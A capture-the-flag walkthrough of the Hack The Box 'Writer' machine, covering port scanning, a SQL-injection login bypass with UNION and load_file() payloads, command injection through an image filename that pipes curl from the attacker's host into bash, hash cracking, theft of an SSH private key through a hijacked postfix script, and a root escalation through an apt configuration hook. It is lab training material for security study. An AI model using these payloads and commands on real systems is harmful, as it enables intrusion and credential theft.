Writer

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.11.101 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, ports 22 (SSH), 80 (HTTP), 139 and 445 (SMB) are open. Let's try to obtain more information about the services and versions running on those ports.

nmap -sC -sV -p22,80,139,445 10.10.11.101 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

If we take a look at the website, we'll see a blog which doesn't have anything interesting.

Let's try to enumerate directories with gobuster.

gobuster dir -u http://10.10.11.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

Exploitation

If we take a look at the /administrative directory, we'll see a login page.

At this point, I tried to bypass the login page with a basic SQL injection payload, logging in as the user ' or 1=1-- - and a random password.

If we hit the Sign in button, we'll be redirected to the /dashboard page.

Before inspecting the /dashboard page, we could try to enumerate the database with the SQL injection we found before. Let's open Burpsuite, and send the log in request to the Repeater.

To enumerate the database, we'll have to know how many columns have the current table. We can do it by selecting n number of columns and keep incrementing the n number until we get a different response. If we select only one column, we should get Admin Panel as the title of the page.

uname=' union select 1-- -&password=admin

But, if we keep incrementing the number of columns, we'll see that we'll get a different response by selecting six columns.

uname=' union select 1,2,3,4,5,6-- -&password=admin

Now the response has the Redirecting | Writer.HTB title, and we can also see that the second column appears in the response, which means that if we select something else, like the user of the database, it will appear in the response.

uname=' union select 1,user(),3,4,5,6-- -&password=admin

Now we could try to enumerate the whole database, but I tell you in advance that the only interesting thing that you'll find is a MD5 password hash, which can't be broken. But, as MySQL has the load_file() function, which allow us to get the content of local files, we could see the system users loading the /etc/passwd file.

uname=' union select 1,load_file("/etc/passwd"),3,4,5,6-- -&password=admin

Now we know that kyle and john are system users. On the other hand, if we go back to the website, we can see that the Wappalyzer extension detected that the website uses an Apache server.

Wappalyzer is a browser extension capable of detecting the technology stack of any website. It reveals the technology stack of any website, such as CMS, ecommerce platform or payment processor, as well as company and contact details.

https://www.wappalyzer.com/

As we can load files, we could load the /etc/apache2/sites-available/000-default.conf file which is the Apache configuration file of the website.

uname=' union select 1,load_file("/etc/apache2/sites-available/000-default.conf"),3,4,5,6-- -&password=admin

From this information we know that the /static directory, we found earlier with gobuster, is located in /var/www/writer.htb/writer/static. And we can also see there is a .wsgi file. If we take a look at it we should see a python script.

uname=' union select 1,load_file("/var/www/writer.htb/writer.wsgi"),3,4,5,6-- -&password=admin

This python script is importing the __init__.py file from the writer folder. If we take a look at it, we will see a fairly long script.

uname=' union select 1,loadfile("/var/www/writer.htb/writer/__init__.py"),3,4,5,6-- -&password=admin

As the script has some characters in hexadecimal, to convert them to ASCII I will put the entire code in the hex_script.py file and execute the following command, so we can read the script more easily on the script.py file.

cat hex_script.py | sed 's/"/"/g' | sed "s/'/'/g" > script.py

But before inspecting the python script, let's keep exploring the website, now that we have access to the /dashboard page. We see that there is a Stories section in which we can add or edit stories.

Let's add one story and put some random stuff in all the text fields.

Hit the Save button, intercept the request with Burpsuite and send it to the Repeater. If you look closely at the request, you'll see that the image_url parameter, which is empty, is a hidden parameter in the /dashboard/stories/add page.

To understand a bit more what is going on, let's go back to the python script we found earlier. If you inspect the code, you'll see that under the add_story function, triggered in the /dashboard/stories/add directory, we can upload files which need to have .jpg in the name. Those files will be stored in the /var/www/writer.htb/writer/static/img/ folder. The hidden image_url parameter we found earlier also need to have .jpg in the name. And the script executes a command at a system level which renames the file indicated on the image_url parameter.

It's time to get a shell. First, let's set a netcat listener.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

As the script executes a command at a system level, we could try to break it with and execute whatever we want. First, let's create a file called index.html with the following content.

Next, let's set an HTTP server on port 80 with python.

python -m http.server 80

  • -m run library module as a script.

If we change the file_name of the image parameter to image.jpg;`curl 10.10.14.11|bash` and then fill the image_url parameter with file:///var/www/writer.htb/writer/static/img/test.jpg;curl 10.10.14.11|bash. The website will upload the image with that name, then it will execute the command on the name which basically will curl our local machine and execute the content on the index.html file, which sends us back a reverse shell.

And we should get a shell as the www-data user.

Privilege Escalation

Let's set an interactive shell.

script /dev/null -c bash

At this point I started enumerating the machine and I found some credentials for the MySQL server on /etc/mysql/my.cnf.

cat /etc/mysql/my.cnf

Let's connect to the MySQL server with these credentials.

mysql -u djangouser -pDjangoSuperPassword

  • -u user for login.

  • -p password for login.

Let's see what databases the djangouser user can access.

show databases;

Let's explore the dev database.

use dev;

Let's list the tables of the database.

show tables;

Let's see the columns of the auth_user table.

describe auth_user;

Finally, let's select the columns username, and password from the auth_user table.

select username, password from auth_user;

And we get a password hash. We can break it with hashcat. With the following command we'll see that we'll have to use the 10000 hash type.

hashcat --example-hashes | grep pbkdf2_sha256 -B 11

If we break the hash with hashcat we'll see that the password is marcoantonio.

hashcat -a 0 -m 10000 hash /usr/share/wordlists/rockyou.txt

  • -a attack mode.

  • -m hash type.

Then I tried to log in with the user kyle and the password marcoantonio via SSH, and it worked.

ssh kyle@10.10.11.101

Now we can grab the user flag.

cat user.txt

If we check the groups that the user kyle is a member of, we can see that he belongs to the filter group.

id

Let's see what files have the filter group as the owner group.

find / -group filter 2>/dev/null

As the /var/spool/filter folder is empty, let's work with the /etc/postfix/disclaimer file. Let's see its permissions.

ls -l /etc/postfix/disclaimer

So we can read, edit and execute the /etc/postfix/disclaimer file. Postfix is a mail server which runs on port 25.

netstat -nat

And every time an email arrives, the scripts in the file /etc/postfix/master.cf are executed. Luckily for us, if we see at the bottom of the file, we'll see that the /etc/postfix/disclaimer is being executed by the user john.

cat /etc/postfix/master.cf

The user john has in his home directory the .ssh folder which might have an id_rsa file.

ls -la /home/john/

The idea here is to edit the /etc/postfix/disclaimer file, so when we send a random email, the script will send us the id_rsa file of the user john.

We have to send an email to a user that must exists, and we can find some valid emails on the /etc/postfix/disclaimer_addresses file.

cat /etc/postfix/disclaimer_addresses

Next step, let's create a python script on the writer machine, which will send an email to kyle@writer.htb.

Next, let's set a netcat listener on port 1234, and save the output in a file called id_rsa.

nc -lvnp 1234 > id_rsa

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then we will have to edit the /etc/postfix/disclaimer file, remove everything, and write a command that will send the id_rsa file of the john user to our netcat listener.

nano /etc/postfix/disclaimer

Finally, all we have to do is execute the python script we made to send the random email, and we should get the id_rsa file of the john user on our netcat listener.

python3 send.py

On the netcat listener.

cat id_rsa

Now that we have the id_rsa file, let's give it the right permissions, and use it to log in with the john user via ssh.

chmod 600 id_rsa

ssh -i id_rsa john@10.10.11.101

Let's transfer pspy to the writer machine.

pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.

https://github.com/DominicBreuker/pspy

python -m http.server

On the writer machine.

wget http://10.10.14.11:8000/pspy64

Let's run it.

chmod +x pspy64 && ./pspy64

We will see, among other processes, that an apt-get update is being executed by the root user with UID=0.

If we see which groups the user john belongs to, we can see that he belongs to the management group.

id

Let's see what files have the management group as owner group, and what permissions we have on them.

find / -group management 2>/dev/null | xargs ls -ld

Whenever an apt-get update is made, all the files on the /etc/apt/apt.conf.d folder will be executed. And as we have the right permissions to create a file on that folder, and the update is being made by the root user, we could create a file which will give the SUID permission the /bin/bash binary before the system update is made.

nano /etc/apt/apt.conf.d/test

Then, we wait until the update is made, and the /bin/bash should have the SUID permission assigned.

ls -l /bin/bash

And finally, all we have to do is reap the harvest and take the root flag.

bash -p

Last updated

Was this helpful?